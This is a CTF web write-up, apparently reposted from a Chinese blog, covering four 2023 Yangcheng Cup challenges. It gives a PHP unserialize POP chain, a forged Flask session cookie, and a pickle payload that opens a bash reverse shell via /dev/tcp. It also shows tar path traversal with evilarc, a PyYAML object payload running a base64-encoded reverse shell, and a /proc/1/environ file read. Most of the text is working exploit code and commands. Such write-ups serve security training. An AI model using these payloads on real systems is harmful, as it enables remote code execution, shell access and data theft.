2023羊城杯-writeup-web

Web

D0n’t pl4y g4m3!!!

<?php
header("HTTP/1.1 302 found");
header("Location:https://passer-by.com/pacman/");

class Pro{
    private $exp;
    private $rce2;

    public function __get($name)
    {
        return $this->$rce2=$this->exp[$rce2];
    }
    public  function __toString()
    {
            call_user_func('system', "cat /flag");
     }
}

class Yang
{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
    public function __wakeup()
    {
        $this->key = True;
    }
}
class Cheng
{
    private $finish;
    public $name;
    public function __get($value)
    {

        return $this->$value = $this->name[$value];
    }
}
class Bei
{
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

function prohib($a){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    return preg_replace($filter,'',$a);
}

$a = $_POST["CTF"];
if (isset($a)){
  unserialize(prohib($a));
}
?>

通过PHP<=7.4.21 Development Server源码泄露漏洞泄露p0p.php的源码
image.png
紧接着就是打反序列化

<?php
class Yang
{
    
    
    public $now ;
    public function __construct($now='',$finish='')
    {
    
    
        $this-> now = $now;
        $this->finish = $finish;
        $this->key =True;
    }
    public function __call($name, $ary)
    {
    
    
        if ($this->key === true || $this->finish1->name) {
    
    
            if ($this->finish->finish) {
    
    
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
    
    
        $this-> now = 0;
        return $this->finish->finish;
    }
    public function __wakeup()
    {
    
    
        $this->key = True;
    }
}
class Cheng
{
    
    
    private $finish;
    public $name;
    public function __construct($name='')
    {
    
    
        $this-> name = $name;
    }
    public function __get($value)
    {
    
    
        return $this -> $value = $this -> name[$value];
    }
}
class Bei
{
    
    
    public $CTF;
    public $fine;
    public $rce;
    public $rce1;

    public function __construct($CTF='',$fine='',$rce='',$rce1='')
    {
    
    
        $this->CTF = $CTF;
        $this->fine = $fine;
        $this->rce = $rce;
        $this->rce1 = $rce1;
    }

    public function __destruct()
    {
    
    
        if ($this->CTF->ycb()) {
    
    
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
    
    
        $this->key = false;
    }
}
$now2 = ['YCB1'=>'readfile'];
$name1 = ['finish'=>1];
$finish1 = new Cheng($name1);
$Yang1 = new Yang($now= $now2,$finish=$finish1);
$Yang2 = new Yang($now= $now2,$finish=$finish1);
$Bei =  new Bei($CTF=$Yang1,$fine=$Yang2,$rce='/tmp/catcatf1ag.txt',$rce1='1');
$abc = serialize($Bei);
echo urlencode($abc);

?>

Serpent

www.zip泄露源码
要我们构造session

from flask import Flask, session
from secret import secret

@app.route('/verification')
def verification():
    try:
        attribute = session.get('Attribute')
        if not isinstance(attribute, dict):
            raise Exception
    except Exception:
        return 'Hacker!!!'
    if attribute.get('name') == 'admin':
        if attribute.get('admin') == 1:
            return secret
        else:
            return "Don't play tricks on me"
    else:
        return "You are a perfect stranger to me"

if __name__ == '__main__':
    app.run('0.0.0.0', port=80)

burp抓包拿session
在用flask_session_cookie_manager3 进行解码

python3 flask_session_cookie_manager3.py decode -c eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFRlOWFtZndiTG5nIn19.ZPN2Hw.Mbm
Ga-uh2s6Hu_q-rnL73Ed85TE

image.png
得到secret_key

python3 flask_session_cookie_manager3.py encode -t '{"Attribute":{"admin":1,"name":"admin","secret_key":"GWHTe9amfwbLng"}}'  -s GWHTe9amfwbLng

image.png
拿到路径
image.png
访问之后又获得一个提示
image.png
可以看到传入的cookie获取了pick1e值并进行了loads处理触发了反序列化
image.png
exp:

import base64
c = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/123123/9999 0>&1"'
o.'''
print(base64.b64encode(c))

KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEyMy85OTk5IDA+JjEiJwpvLg==

接收到反弹shell
image.png
权限是www,suid提权,获取flag
image.png

ezyaml

题目给了源码

import tarfile
from flask import Flask, render_template, request, redirect
from hashlib import md5
import yaml
import os
import re


app = Flask(__name__)

def waf(s):
    flag = True
    blacklist = ['bytes','eval','map','frozenset','popen','tuple','exec','\\','object','listitems','subprocess','object','apply']
    for no in blacklist:
        if no.lower() in str(s).lower():
            flag= False
            print(no)
            break
    return flag
def extractFile(filepath, type):

    extractdir = filepath.split('.')[0]
    if not os.path.exists(extractdir):
        os.makedirs(extractdir)


    if type == 'tar':
        tf = tarfile.TarFile(filepath)
        tf.extractall(extractdir)
        return tf.getnames()

@app.route('/', methods=['GET'])
def main():
        fn = 'uploads/' + md5().hexdigest()
        if not os.path.exists(fn):
            os.makedirs(fn)
        return render_template('index.html')


@app.route('/upload', methods=['GET', 'POST'])
def upload():

    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        upFile = request.files['file']
        print(upFile)
        if re.search(r"\.\.|/", upFile.filename, re.M|re.I) != None:
            return "<script>alert('Hacker!');window.location.href='/upload'</script>"

        savePath = f"uploads/{
      
      upFile.filename}"
        print(savePath)
        upFile.save(savePath)

        if tarfile.is_tarfile(savePath):
            zipDatas = extractFile(savePath, 'tar')
            return render_template('result.html', path=savePath, files=zipDatas)
        else:
            return f"<script>alert('{
      
      upFile.filename} upload successfully');history.back(-1);</script>"


@app.route('/src', methods=['GET'])
def src():
    if request.args:
        username = request.args.get('username')
        with open(f'config/{
      
      username}.yaml', 'rb') as f:
            Config = yaml.load(f.read())
            return render_template('admin.html', username="admin", message="success")
    else:
        return render_template('index.html')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

这一块判断上传文件是否为压缩包并解压

if tarfile.is_tarfile(savePath):
	zipDatas = extractFile(savePath, 'tar')
	return render_template('result.html', path=savePath, files=zipDatas)
else:
	return f"<script>alert('{
      
      upFile.filename} upload successfully');history.back(-1);</script>"

extractFile
image.png
python3解压函数遵循unix的解压方式,可以进行路径穿越
https://raw.githubusercontent.com/ptoomey3/evilarc/master/evilarc.py
利用此脚本构造
命名为admin.yaml

!!python/object/new:str
    args: []
    state: !!python/tuple
      - "__import__('os').system('echo c2ggLWkgPiYgL2Rldi90Y3AvMTIzLzk5OTkgMD4mMQ==|base64 -d |bash')"
      - !!python/object/new:staticmethod
        args: []
        state:
          update: !!python/name:eval
          items: !!python/name:list

构造tar包

python2 evilarc.py admin.yaml -p config --os=unix --depth=2 --output-file=config.tar

然后可以直接上传

curl http://dasctf.com/upload -F file=@config.tar

然后再访问**/src**触发yaml load

curl http://dasctf.com/src?username=admin

即可反弹shell
image.png

ArkNights

非预期 文件读取直接出flag

/read?file=/proc/1/environ

猜你喜欢

转载自blog.csdn.net/qq_35607078/article/details/132664796